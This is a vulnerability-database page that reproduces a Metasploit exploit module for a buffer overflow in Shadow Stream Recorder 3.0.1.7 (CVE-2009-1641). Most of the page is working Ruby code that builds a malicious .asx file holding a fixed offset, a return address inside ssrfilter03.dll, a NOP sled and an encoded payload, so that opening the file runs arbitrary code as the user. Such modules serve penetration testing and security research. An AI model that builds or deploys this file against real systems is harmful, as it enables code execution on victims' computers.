Lucene search
+L

Shadow Stream Recorder 3.0.1.7 Buffer Overflow

🗓️ 29 Mar 2010 00:00:00Reported by AlpHaNiX <[email protected]>, b0telh0 <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 37 Views

Exploits buffer overflow in Shadow Stream Recorder 3.0.1.7 via crafted asx fil

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Shadow Stream Recorder 3.0.1.7 Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in Shadow Stream Recorder 3.0.1.7.
          Using the application to open a specially crafted asx file, a buffer
          overflow may occur to allow arbitrary code execution under the context
          of the user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'AlpHaNiX <alpha[at]hacker.bz>', # Original .m3u exploit
          'b0telh0 <me[at]gotgeek.com.br>' # MSF Module and .asx exploit
        ],
        'References' => [
          [ 'CVE', '2009-1641' ],
          [ 'OSVDB', '81487' ],
          [ 'EDB', '11957' ],
          [ 'BID', '34864' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
        'Platform' => 'win',
        'Payload' => {
          'Space' => 2000,
          'BadChars' => "\x00\x09\x0a",
          'StackAdjustment' => -3500
        },
        'Targets' => [
          [
            'Windows Universal',
            {
              # push esp - ret ssrfilter03.dll
              'Ret' => 0x10035706,
              'Offset' => 26117
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2010-03-29',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [true, 'The file name.', 'msf.asx'])
      ]
    )
  end

  def exploit
    buffer = "http://"
    buffer << rand_text_alpha_upper(target['Offset'])
    buffer << [target.ret].pack('V')
    buffer << make_nops(40)
    buffer << payload.encoded

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buffer)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation